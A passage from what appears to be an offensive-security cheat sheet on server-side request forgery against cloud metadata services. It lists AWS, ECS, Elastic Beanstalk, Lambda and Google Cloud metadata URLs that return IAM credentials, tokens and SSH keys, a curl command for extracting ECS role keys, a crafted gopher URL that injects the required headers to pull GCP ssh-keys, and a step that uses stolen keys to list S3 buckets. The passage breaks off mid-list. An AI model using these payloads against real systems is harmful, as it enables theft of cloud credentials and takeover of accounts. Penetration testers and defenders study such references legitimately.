User data is often used to pass startup scripts or other configuration information into the instance. ```powershell http://169.254.169.254/latest/user-data ``` Other URLs to query to access various pieces of metadata about the instance, like the hostname, public IPv4 address, and other properties. ```powershell http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/meta-data/ami-id http://169.254.169.254/latest/meta-data/reservation-id http://169.254.169.254/latest/meta-data/hostname http://169.254.169.254/latest/meta-data/public-keys/ http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key http://169.254.169.254/latest/dynamic/instance-identity/document ``` E.g: Jira SSRF leading to AWS info disclosure - `https://help.redacted.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/metadata/v1/maintenance` E.g2: Flaws challenge - `http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/` ### SSRF URL for AWS ECS If you have an SSRF with file system access on an ECS instance, try extracting `/proc/self/environ` to get UUID. ```powershell curl http://169.254.170.2/v2/credentials/ ``` This way you'll extract IAM keys of the attached role ### SSRF URL for AWS Elastic Beanstalk We retrieve the `accountId` and `region` from the API. ```powershell http://169.254.169.254/latest/dynamic/instance-identity/document http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` We then retrieve the `AccessKeyId`, `SecretAccessKey`, and `Token` from the API. ```powershell http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`. ### SSRF URL for AWS Lambda AWS Lambda provides an HTTP API for custom runtimes to receive invocation events from Lambda and send response data back within the Lambda execution environment. ```powershell http://localhost:9001/2018-06-01/runtime/invocation/next $ curl "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" ``` Docs: https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html#runtimes-api-next ### SSRF URL for Google Cloud :warning: Google is shutting down support for usage of the **v1 metadata service** on January 15. Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True" ```powershell http://169.254.169.254/computeMetadata/v1/ http://metadata.google.internal/computeMetadata/v1/ http://metadata/computeMetadata/v1/ http://metadata.google.internal/computeMetadata/v1/instance/hostname http://metadata.google.internal/computeMetadata/v1/instance/id http://metadata.google.internal/computeMetadata/v1/project/project-id ``` Google allows recursive pulls ```powershell http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true ``` Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn) ```powershell http://metadata.google.internal/computeMetadata/v1beta1/ http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true ``` Required headers can be set using a gopher SSRF with the following technique ```powershell gopher://metadata.google.internal:80/xGET%20/computeMetadata/v1/instance/attributes/ssh-keys%20HTTP%2f%31%2e%31%0AHost:%20metadata.google.internal%0AAccept:%20%2a%2f%2a%0aMetadata-Flavor:%20Google%0d%0a ``` Interesting files to pull out: -
